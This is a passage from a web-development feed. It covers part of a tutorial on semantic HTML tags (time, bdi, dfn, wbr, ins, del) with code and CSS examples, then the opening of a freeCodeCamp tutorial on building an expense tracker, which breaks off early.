<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Published on <span class="hljs-tag">&lt;<span class="hljs-name">time</span> <span class="hljs-attr">datetime</span>=<span class="hljs-string">"2024-10-01"</span>&gt;</span>October 1, 2024<span class="hljs-tag">&lt;/<span class="hljs-name">time</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>The text "October 1, 2024" is what users will see, but the <code>datetime</code> attribute provides a machine-readable version of the date. Search engines can now easily interpret this date.</p>
<center>
<p>Published on <time>October 1, 2024</time></p>
</center>

<p>You can also use the <code>&lt;time&gt;</code> tag to display times:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>The event starts at <span class="hljs-tag">&lt;<span class="hljs-name">time</span> <span class="hljs-attr">datetime</span>=<span class="hljs-string">"13:00"</span>&gt;</span>1:00 PM<span class="hljs-tag">&lt;/<span class="hljs-name">time</span>&gt;</span>.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>This makes it clear to both users and machines when the event takes place.</p>
<center>
<p>The event starts at <time>1:00 PM</time>.</p>
</center>

<h3 id="heading-how-improves-seo-and-data-parsing-for-event-details">How <code>&lt;time&gt;</code> Improves SEO and Data Parsing for Event Details</h3>
<p>Search engines rely on structured data to understand content better. The <code>&lt;time&gt;</code> tag gives them a clearer idea of when events, publications, or deadlines happen, improving the relevance of search results. For example, search engines can better display the publication date of a blog post or the time of an event.</p>
<p>For an event page, the following example provides both human-friendly and machine-friendly time information:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Join us for the workshop on <span class="hljs-tag">&lt;<span class="hljs-name">time</span> <span class="hljs-attr">datetime</span>=<span class="hljs-string">"2024-12-15"</span>&gt;</span>December 15, 2024<span class="hljs-tag">&lt;/<span class="hljs-name">time</span>&gt;</span> at <span class="hljs-tag">&lt;<span class="hljs-name">time</span> <span class="hljs-attr">datetime</span>=<span class="hljs-string">"15:30"</span>&gt;</span>3:30 PM<span class="hljs-tag">&lt;/<span class="hljs-name">time</span>&gt;</span>.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>Search engines and web crawlers can then extract this data and use it to create rich snippets in search results, helping the event get noticed.</p>
<h3 id="heading-examples-of-usage-in-articles-blogs-and-event-pages">Examples of Usage in Articles, Blogs, and Event Pages</h3>
<p>Here are some practical examples of how you can use the <code>&lt;time&gt;</code> tag:</p>
<ol>
<li><p><strong>Blog posts</strong>: You can display when an article was published or last updated:</p>
<pre><code class="lang-html"> <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Last updated on <span class="hljs-tag">&lt;<span class="hljs-name">time</span> <span class="hljs-attr">datetime</span>=<span class="hljs-string">"2024-09-28"</span>&gt;</span>September 28, 2024<span class="hljs-tag">&lt;/<span class="hljs-name">time</span>&gt;</span>.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
</li>
<li><p><strong>Event listings</strong>: Event websites can use the <code>&lt;time&gt;</code> tag to list when an event will take place:</p>
<pre><code class="lang-html"> <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Our next meetup will be on <span class="hljs-tag">&lt;<span class="hljs-name">time</span> <span class="hljs-attr">datetime</span>=<span class="hljs-string">"2024-11-10"</span>&gt;</span>November 10, 2024<span class="hljs-tag">&lt;/<span class="hljs-name">time</span>&gt;</span> at <span class="hljs-tag">&lt;<span class="hljs-name">time</span> <span class="hljs-attr">datetime</span>=<span class="hljs-string">"18:00"</span>&gt;</span>6:00 PM<span class="hljs-tag">&lt;/<span class="hljs-name">time</span>&gt;</span>.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
</li>
<li><p><strong>Deadlines</strong>: When presenting important deadlines, use the <code>&lt;time&gt;</code> tag for clarity:</p>
<pre><code class="lang-html"> <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Submit your application before <span class="hljs-tag">&lt;<span class="hljs-name">time</span> <span class="hljs-attr">datetime</span>=<span class="hljs-string">"2024-10-30T23:59"</span>&gt;</span>October 30, 2024, 11:59 PM<span class="hljs-tag">&lt;/<span class="hljs-name">time</span>&gt;</span>.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
</li>
</ol>
<p>In all of these examples, the <code>datetime</code> attribute ensures that computers can read the time information correctly, while users see a more readable version.</p>
<h3 id="heading-browser-support-and-accessibility">Browser Support and Accessibility</h3>
<p>The <code>&lt;time&gt;</code> tag is widely supported across modern browsers. It also improves accessibility because screen readers can interpret the date and time more accurately, giving a better experience for users with disabilities.</p>
<h2 id="heading-the-tag-bi-directional-text-isolation">The <code>&lt;bdi&gt;</code> Tag: Bi-Directional Text Isolation</h2>
<p>The <code>&lt;bdi&gt;</code> tag stands for "bi-directional isolation" and is used to prevent text direction problems on multilingual websites. This tag is especially helpful when working with content that includes both left-to-right (LTR) and right-to-left (RTL) languages.</p>
<h3 id="heading-tags-role-in-multilingual-sites"><code>&lt;bdi&gt;</code> Tag’s Role in Multilingual Sites</h3>
<p>When mixing languages with different text directions, like English (LTR) and Arabic (RTL), the natural flow of text can sometimes get messy. The <code>&lt;bdi&gt;</code> tag helps keep the layout of the text clean, ensuring that each portion of text displays correctly, no matter the direction of the language.</p>
<p>For example, if you want to display user input (like a username) next to other text, and you don’t know which language the username will be in, you can use <code>&lt;bdi&gt;</code> to make sure it doesn’t mess with the flow.</p>
<h3 id="heading-how-to-use-for-preventing-text-direction-issues">How to Use <code>&lt;bdi&gt;</code> for Preventing Text Direction Issues</h3>
<p>The <code>&lt;bdi&gt;</code> tag wraps around the part of the text you want to isolate, and it prevents the text direction from being affected by surrounding content.</p>
<p>Here’s a simple example:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>User <span class="hljs-tag">&lt;<span class="hljs-name">bdi</span>&gt;</span>اسم<span class="hljs-tag">&lt;/<span class="hljs-name">bdi</span>&gt;</span> has logged in.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>If the username is in Arabic (which reads RTL), the <code>&lt;bdi&gt;</code> tag ensures the rest of the sentence (which is in English and reads LTR) doesn’t get disrupted. Without the <code>&lt;bdi&gt;</code> tag, the sentence could display incorrectly due to the mix of text directions.</p>
<p>Another example with numbers:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Invoice number: <span class="hljs-tag">&lt;<span class="hljs-name">bdi</span>&gt;</span>#1234<span class="hljs-tag">&lt;/<span class="hljs-name">bdi</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>If the invoice number includes text or numbers in different directions, the <code>&lt;bdi&gt;</code> tag makes sure the formatting stays correct.</p>
<h3 id="heading-examples-of">Examples of <code>&lt;bdi&gt;</code></h3>
<p>The <code>&lt;bdi&gt;</code> tag is commonly used in multilingual applications, user-generated content platforms, and websites that handle multiple languages at once. For instance, websites that allow users to input data, such as names or addresses, might use <code>&lt;bdi&gt;</code> to ensure proper text alignment.</p>
<p>Here’s an example on a forum:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">bdi</span>&gt;</span>مستخدم<span class="hljs-tag">&lt;/<span class="hljs-name">bdi</span>&gt;</span> liked your post!<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>Without <code>&lt;bdi&gt;</code>, the text might display awkwardly, but with it, both the Arabic username and the English text display properly.</p>
<h3 id="heading-browser-compatibility">Browser Compatibility</h3>
<p>The <code>&lt;bdi&gt;</code> tag is supported in all modern browsers, including Chrome, Firefox, Safari, and Edge. It’s a lightweight solution, doesn’t require special styling, and helps keep your content layout neat when dealing with multilingual text.</p>
<h2 id="heading-the-tag-defining-terms">The <code>&lt;dfn&gt;</code> Tag: Defining Terms</h2>
<p>The <code>&lt;dfn&gt;</code> tag is used to mark the first instance of a term that is being defined within a webpage. It helps readers quickly recognize that a particular word or phrase is a definition, improving the clarity of your content, especially in technical writing.</p>
<h3 id="heading-how-to-use-for-marking-definitions">How to Use <code>&lt;dfn&gt;</code> for Marking Definitions</h3>
<p>The <code>&lt;dfn&gt;</code> tag is simple to use. You wrap it around the word or phrase that you want to define. Typically, the term appears near the explanation of its meaning.</p>
<p>Example:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>The <span class="hljs-tag">&lt;<span class="hljs-name">dfn</span>&gt;</span>DOM<span class="hljs-tag">&lt;/<span class="hljs-name">dfn</span>&gt;</span> (Document Object Model) is a programming interface for web documents.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>Here, the <code>&lt;dfn&gt;</code> tag highlights that "DOM" is the term being defined.</p>
<center>
<p>The <dfn>DOM</dfn> (Document Object Model) is a programming interface for web documents.</p>
</center>

<h3 id="heading-best-practices-for-providing-in-article-explanations">Best Practices for Providing In-Article Explanations</h3>
<p>When using the <code>&lt;dfn&gt;</code> tag, make sure the term you are defining is followed closely by its explanation. This keeps things clear and helps readers connect the term with its meaning right away.</p>
<p>It's also a good idea to only use <code>&lt;dfn&gt;</code> the first time a term is introduced, as repeating it multiple times can confuse the reader.</p>
<p>For example, in a technical article about HTML:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>The <span class="hljs-tag">&lt;<span class="hljs-name">dfn</span>&gt;</span>API<span class="hljs-tag">&lt;/<span class="hljs-name">dfn</span>&gt;</span> (Application Programming Interface) allows different software applications to communicate with each other. Once defined, an API can simplify many web development tasks.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>In this case, "API" is defined when it's first mentioned, and later uses of "API" don’t need the <code>&lt;dfn&gt;</code> tag anymore.</p>
<h3 id="heading-how-improves-the-clarity-of-technical-content">How <code>&lt;dfn&gt;</code> Improves the Clarity of Technical Content</h3>
<p>Using the <code>&lt;dfn&gt;</code> tag in technical writing is a great way to make content easier to follow. It clearly signals to readers when you're introducing a new term, which is especially useful when explaining complex ideas. This helps improve readability and allows users to grasp key concepts faster.</p>
<p>By marking definitions with <code>&lt;dfn&gt;</code>, search engines and other tools may also be able to better interpret your content, making it more accessible. For example, technical glossaries or educational websites can use <code>&lt;dfn&gt;</code> to make their terms stand out.</p>
<h3 id="heading-example-of">Example of <code>&lt;dfn&gt;</code></h3>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>The <span class="hljs-tag">&lt;<span class="hljs-name">dfn</span>&gt;</span>URL<span class="hljs-tag">&lt;/<span class="hljs-name">dfn</span>&gt;</span> (Uniform Resource Locator) is the address used to access a resource on the web.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>In this sentence, the reader is introduced to the term "URL," followed by a clear explanation. This method of introducing terms with the <code>&lt;dfn&gt;</code> tag helps make technical content much easier to read and understand, especially for those unfamiliar with the topic.</p>
<h2 id="heading-the-tag-line-break-opportunities">The <code>&lt;wbr&gt;</code> Tag: Line Break Opportunities</h2>
<p>The <code>&lt;wbr&gt;</code> tag is used to suggest where a word or URL can be split to create a line break if needed. This is useful when dealing with long words, URLs, or any text that could break the layout of a webpage.</p>
<h3 id="heading-what-the-tag-is-and-why-its-essential-for-long-words-or-urls">What the <code>&lt;wbr&gt;</code> Tag Is and Why it’s Essential for Long Words or URLs</h3>
<p>Sometimes, long words or URLs can mess up the design of a webpage by causing horizontal scrolling or breaking the layout. The <code>&lt;wbr&gt;</code> tag gives the browser a hint on where to break the word, but only if necessary. This helps keep the text readable and prevents overflow.</p>
<p>For example, if you have a long URL, you can place the <code>&lt;wbr&gt;</code> tag to tell the browser where it can break the text:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Visit our website at https://www.example<span class="hljs-tag">&lt;<span class="hljs-name">wbr</span>&gt;</span>.com/super/long-url-that-might-break-layout<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>If the browser needs to break the URL, it will do so after the <code>&lt;wbr&gt;</code>, ensuring the design remains intact.</p>
<h3 id="heading-best-practices-for-controlling-word-wrapping-and-text-overflow">Best Practices for Controlling Word Wrapping and Text Overflow</h3>
<p>The <code>&lt;wbr&gt;</code> tag should be used in places where text might cause overflow issues, such as long technical terms, email addresses, or URLs. But don’t overuse it, as unnecessary breaks can make the text harder to read.</p>
<p>Here’s another example with a long word:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>This word is too long: anti<span class="hljs-tag">&lt;<span class="hljs-name">wbr</span>&gt;</span>disestablishmentarianism.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>If the word gets too long for the line, the browser will split it after "anti-" without affecting readability.</p>
<p>In combination with CSS, you can also control word wrapping and text overflow for better results:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">p</span> {
  <span class="hljs-attribute">word-wrap</span>: break-word;
  <span class="hljs-attribute">overflow-wrap</span>: break-word;
}
</code></pre>
<p>This CSS ensures that the text will wrap neatly when necessary, and using <code>&lt;wbr&gt;</code> can give more control over where those breaks happen.</p>
<h3 id="heading-browser-support-for-and-potential-challenges">Browser Support for <code>&lt;wr&gt;</code> and Potential Challenges</h3>
<p>The <code>&lt;wbr&gt;</code> tag is supported in all major browsers, including Chrome, Firefox, Safari, and Edge. It’s lightweight and doesn’t need any special styling to work.</p>
<p>But one thing to watch for is that overuse of the tag can make text breaks appear unnatural if the content is resized or viewed on different screen sizes.</p>
<p>For example:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Contact us at longemail<span class="hljs-tag">&lt;<span class="hljs-name">wbr</span>&gt;</span>@example<span class="hljs-tag">&lt;<span class="hljs-name">wbr</span>&gt;</span>.com for more information.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>In this case, you can avoid long email addresses causing layout problems, but the email might appear broken at different places depending on the screen width.</p>
<p>Use <code>&lt;wbr&gt;</code> when you anticipate long strings of text that may not naturally break, keeping your design clean and functional across devices.</p>
<h2 id="heading-the-tag-inserted-text">The <code>&lt;ins&gt;</code> Tag: Inserted Text</h2>
<p>The <code>&lt;ins&gt;</code> tag is used to show text that has been added to a document. This is often helpful when tracking edits, updates, or changes in documents. It also comes with a default underline to highlight the new content.</p>
<h3 id="heading-what-is-the-tag-and-how-does-it-compare-to-the-tag">What Is the <code>&lt;ins&gt;</code> Tag and How Does it Compare to the <code>&lt;s&gt;</code> Tag?</h3>
<p>The <code>&lt;ins&gt;</code> tag is designed for marking inserted content, while the <code>&lt;s&gt;</code> tag is used for text that has been removed or is no longer relevant. Both tags are useful when you need to show changes in a document, like updates or revisions.</p>
<p>Example:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>This is the <span class="hljs-tag">&lt;<span class="hljs-name">ins</span>&gt;</span>new text<span class="hljs-tag">&lt;/<span class="hljs-name">ins</span>&gt;</span> that was added.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>This is the <span class="hljs-tag">&lt;<span class="hljs-name">s</span>&gt;</span>old text<span class="hljs-tag">&lt;/<span class="hljs-name">s</span>&gt;</span> that is no longer valid.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>Here, the <code>&lt;ins&gt;</code> tag highlights what has been added, and the <code>&lt;s&gt;</code> tag shows what has been crossed out as outdated.</p>
<center>
<p>This is the new text that was added.</p>
<p>This is the <s>old text</s> that is no longer valid.</p>
</center>

<h3 id="heading-usage-in-tracking-document-edits-or-versioning">Usage in Tracking Document Edits or Versioning</h3>
<p>The <code>&lt;ins&gt;</code> tag is commonly used when managing documents that need version control or where edits should be visible. For example, you can use it in collaborative writing platforms or legal documents to show which parts have been added.</p>
<p>Example of a document with changes:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>The contract was updated to include <span class="hljs-tag">&lt;<span class="hljs-name">ins</span>&gt;</span>an extra clause<span class="hljs-tag">&lt;/<span class="hljs-name">ins</span>&gt;</span> on data privacy.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>This makes it clear to the reader that the section about "data privacy" was recently added.</p>
<p>In software development or content management, you might use the <code>&lt;ins&gt;</code> tag to show text that has been newly introduced in version-controlled files, making it easier to track edits and revisions over time.</p>
<h3 id="heading-styling-options-to-emphasize-changes">Styling Options to Emphasize Changes</h3>
<p>The default appearance of the <code>&lt;ins&gt;</code> tag is underlined, but you can customize it using CSS for better emphasis, especially if you want the changes to stand out more.</p>
<p>Here’s how you can style the <code>&lt;ins&gt;</code> tag with different visual effects:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">ins</span> {
  <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#d4edda</span>;
  <span class="hljs-attribute">color</span>: green;
  <span class="hljs-attribute">text-decoration</span>: none; <span class="hljs-comment">/* Removes default underline */</span>
}
</code></pre>
<p>This will give the inserted text a green color and a light green background, making it more noticeable.</p>
<div class="embed-wrapper">
        <iframe width="100%" height="350" src="https://codepen.io/joanayebola/embed/wvVgWRz" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="CodePen embed" scrolling="no" allowtransparency="true" allowfullscreen="true" loading="lazy"></iframe></div>
<p> </p>
<p>You can also add different styles like a bold font or a border:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">ins</span> {
  <span class="hljs-attribute">font-weight</span>: bold;
  <span class="hljs-attribute">border-bottom</span>: <span class="hljs-number">2px</span> solid green;
}
</code></pre>
<p>These styling options make it easier for users to identify what has been added or changed, improving the readability and transparency of document edits.</p>
<p>Overall, the <code>&lt;ins&gt;</code> tag is a simple but effective way to track inserted content, making it very useful for both technical documents and collaborative platforms where revisions need to be clearly visible.</p>
<h2 id="heading-the-tag-deleted-text">The <code>&lt;del&gt;</code> Tag: Deleted Text</h2>
<p>The <code>&lt;del&gt;</code> tag is used to show text that has been deleted or removed from a document. This tag strikes through the text by default, making it easy to identify what has been removed. It’s especially helpful in situations where tracking changes or revisions is necessary.</p>
<h3 id="heading-purpose-and-usage-of-the-tag-for-strikethrough-text">Purpose and Usage of the <code>&lt;del&gt;</code> Tag for Strikethrough Text</h3>
<p>The main job of the <code>&lt;del&gt;</code> tag is to visually show that some content has been removed. It’s common in documents, articles, or code where changes need to be made visible to the reader. The deleted text will usually have a strikethrough, indicating that it’s no longer relevant or valid.</p>
<p>Example:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>This product costs <span class="hljs-tag">&lt;<span class="hljs-name">del</span>&gt;</span>$50<span class="hljs-tag">&lt;/<span class="hljs-name">del</span>&gt;</span> $40 now.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>In this example, the price change is clear. The old price ($50) is struck through, and the new price ($40) follows right after.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728749690070/6c971036-90b9-4bcb-9d74-1c13bd770750.png" alt="6c971036-90b9-4bcb-9d74-1c13bd770750" class="image--center mx-auto" width="322" height="55" loading="lazy"></p>
<h3 id="heading-how-it-can-be-combined-with-for-tracking-revisions">How It Can Be Combined With <code>&lt;ins&gt;</code> for Tracking Revisions</h3>
<p>The <code>&lt;del&gt;</code> tag can be paired with the <code>&lt;ins&gt;</code> tag to show both removed and newly added content, making it perfect for tracking edits or revisions. This is very useful in collaborative writing, legal documents, or any situation where changes must be recorded clearly.</p>
<p>Example of tracking revisions:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>The meeting has been moved <span class="hljs-tag">&lt;<span class="hljs-name">del</span>&gt;</span>Monday<span class="hljs-tag">&lt;/<span class="hljs-name">del</span>&gt;</span> <span class="hljs-tag">&lt;<span class="hljs-name">ins</span>&gt;</span>Tuesday<span class="hljs-tag">&lt;/<span class="hljs-name">ins</span>&gt;</span>.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
</code></pre>
<p>Here, it’s easy to see that "Monday" was replaced with "Tuesday," and the reader knows exactly what changed.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728749828530/ee3f84d5-9e56-4f27-8ce3-6eac5a79a144.png" alt="ee3f84d5-9e56-4f27-8ce3-6eac5a79a144" class="image--center mx-auto" width="466" height="58" loading="lazy"></p>
<h3 id="heading-best-practices-for-displaying-and-styling-deleted-content">Best Practices for Displaying and Styling Deleted Content</h3>
<p>By default, the <code>&lt;del&gt;</code> tag applies a strikethrough to the text, but you can style it further with CSS to make it more noticeable or match your design needs.</p>
<p>Here’s an example of customizing the appearance of deleted text:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">del</span> {
  <span class="hljs-attribute">color</span>: red;
  <span class="hljs-attribute">text-decoration</span>: line-through;
}
</code></pre>
<p>This makes deleted text appear red, drawing more attention to it. You can also combine it with additional formatting, like fading out the text:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">del</span> {
  <span class="hljs-attribute">color</span>: gray;
  <span class="hljs-attribute">opacity</span>: <span class="hljs-number">0.7</span>;
}
</code></pre>
<p>This style reduces the emphasis on deleted content, making it less distracting but still visible to readers.</p>
<div class="embed-wrapper">
        <iframe width="100%" height="350" src="https://codepen.io/joanayebola/embed/xxvgWNQ" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="CodePen embed" scrolling="no" allowtransparency="true" allowfullscreen="true" loading="lazy"></iframe></div>
<p> </p>
<p>The <code>&lt;del&gt;</code> tag provides a simple and effective way to track and display changes, especially when combined with the <code>&lt;ins&gt;</code> tag. It’s essential for keeping documents transparent and clear for anyone reviewing edits or updates.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Making use of these unique HTML elements expands what’s possible on the web, which helps to create more meaningful and accessible content. Tags like <code>&lt;q&gt;</code>, <code>&lt;s&gt;</code>, <code>&lt;mark&gt;</code>, <code>&lt;ruby&gt;</code>, <code>&lt;time&gt;</code>, <code>&lt;bdi&gt;</code>, <code>&lt;dfn&gt;</code>, <code>&lt;wbr&gt;</code>, <code>&lt;ins&gt;</code>, and <code>&lt;del&gt;</code> each bring their own advantages for specific tasks. These elements do more than just style text; they add context, enhance user experiences, and improve document structure.</p>
<p>Using these tags correctly not only makes your web pages clearer but also boosts compatibility across devices and search engines. As you apply these elements, think about how each one serves both the visual presentation and the information structure. They offer simple but powerful ways to make websites richer and easier to understand while benefiting a wide range of users.</p>
<p>If you have any questions or suggestions, feel free to reach out on <a target="_blank" href="https://ng.linkedin.com/in/joan-ayebola">LinkedIn</a>. If you enjoyed this content, consider <a target="_blank" href="https://www.buymeacoffee.com/joanayebola">buying me a coffee</a> to support the creation of more developer-friendly contents.</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ How to Build an Expense Tracker with HTML, CSS, and JavaScript ]]>
                </title>
                <description>
                    <![CDATA[ Building projects is a great way to practice and improve your web development skills. And that's what we'll do in this in-depth tutorial: build a practical project using HTML, CSS, and JavaScript. If you often find yourself wondering where all your m... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/how-to-build-an-expense-tracker-with-html-css-and-javascript/</link>
                <guid isPermaLink="false">66e1d2a79abcf10b7699eb34</guid>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Development ]]>
                    </category>
                
                    <category>
                        <![CDATA[ HTML5 ]]>
                    </category>
                
                    <category>
                        <![CDATA[ CSS ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Joan Ayebola ]]>
                </dc:creator>
                <pubDate>Wed, 11 Sep 2024 17:25:59 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1726055511234/dcaa759f-58f9-477d-92da-c8b98b71d310.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Building projects is a great way to practice and improve your web development skills. And that's what we'll do in this in-depth tutorial: build a practical project using HTML, CSS, and JavaScript.</p>
<p>If you often find yourself wondering where all your money went or how you managed to spend so much, then this project is for you. I created a simple expense tracker to help manage my own finances, and I decided to share a step-by-step tutorial with the developer community.</p>
<p>In this tutorial, we'll walk through the process of building a basic expense tracker from scratch. Whether you're new to web development or looking to enhance your skills, this project will provide you with practical experience in HTML, CSS, and JavaScript.</p>
<p>By the end, you'll have a fully functional tool to track your income, manage expenses, and maintain a clear overview of your finances within a sleek and user-friendly interface.</p>
<p>We'll start by setting up the structure of the tracker, move on to styling it to make it visually appealing, and finally, we'll implement the functionality that will bring it to life.</p>
<h3 id="heading-table-of-contents">Table of Contents</h3>
<ol>
<li><p><a class="post-section-overview" href="#heading-setting-up-the-html-structure">Setting Up the HTML Structure</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-setting-up-the-html-structure">Styling the Expense Tracker</a> <a class="post-section-overview" href="#heading-styling-the-expense-tracker-with-css">wi</a><a class="post-section-overview" href="#heading-setting-up-the-html-structure">th CSS</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-setting-up-the-html-structure">Implementing Function</a><a class="post-section-overview" href="#heading-styling-the-expense-tracker-with-css">ality wit</a><a class="post-section-overview" href="#heading-setting-up-the-html-structure">h JavaScript</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-setting-up-the-html-structure">Enhancing the U</a><a class="post-section-overview" href="#heading-styling-the-expense-tracker-with-css">ser E</a><a class="post-section-overview" href="#heading-implementing-functionality-with-javascript">xp</a><a class="post-section-overview" href="#heading-styling-the-expense-tracker-with-css">erience</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-setting-up-the-html-structure">Testing and Debugging</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-setting-up-the-html-structure">Concl</a><a class="post-section-overview" href="#heading-enhancing-the-user-experience">us</a><a class="post-section-overview" href="#heading-setting-up-the-html-structure">ion</a></p>
</li>
</ol>
<h3 id="heading-prerequisites">Prerequisites</h3>
<p>To get the most out of this tutorial, having a basic understanding of HTML, CSS, and JavaScript will be beneficial. Familiarity with creating simple web pages and handling basic DOM manipulation in JavaScript will help you follow along more easily.</p>
<p>But if you're new to these technologies, don't worry – I'll guide you through each step with detailed explanations.</p>
<h2 id="heading-setting-up-the-html-structure">Setting Up the HTML Structure</h2>
<p>First of all, we need to set up the basic HTML structure. This will serve as the foundation for everythin<a class="post-section-overview" href="#heading-enhancing-the-user-experience">g</a> else we'll build. Don’t worr<a class="post-section-overview" href="#heading-testing-and-debugging">y</a> if you’re new to HTML. I'll guide you through each step.</p>
<h3 id="heading-1-create-a-basic-html-template">1. Create a Basic HTML Template</h3>
<p>Start by creating a new file and naming it <code>index.html</code>. This file will hold the structure of our expense tracker. Every HTML file starts with a basic template, which includes the <code>&lt;!DOCTYPE html&gt;</code> declaration, the <code>&lt;html&gt;</code> tag, and the head and body sections.</p>
<p>Here’s what your initial HTML template should look like:</p>
<pre><code class="lang-html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"en"</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"viewport"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"width=device-width, initial-scale=1.0"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Expense Tracker<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>

<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<h3 id="heading-2-adding-a-container">2. Adding a Container</h3>
<p>Inside the <code>&lt;body&gt;</code> tag, let’s start by adding a <code>div</code> element with a class of <code>container</code>. This container will hold all the content of our expense tracker, such as the title, input fields, and summary. We use a container to center everything on the page and make sure our layout looks neat.</p>
<p>Here’s how you can do it:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"container"</span>&gt;</span>
        <span class="hljs-comment">&lt;!-- All content will go here --&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
</code></pre>
<h3 id="heading-3-add-the-expense-tracker-title">3. Add the Expense Tracker Title</h3>
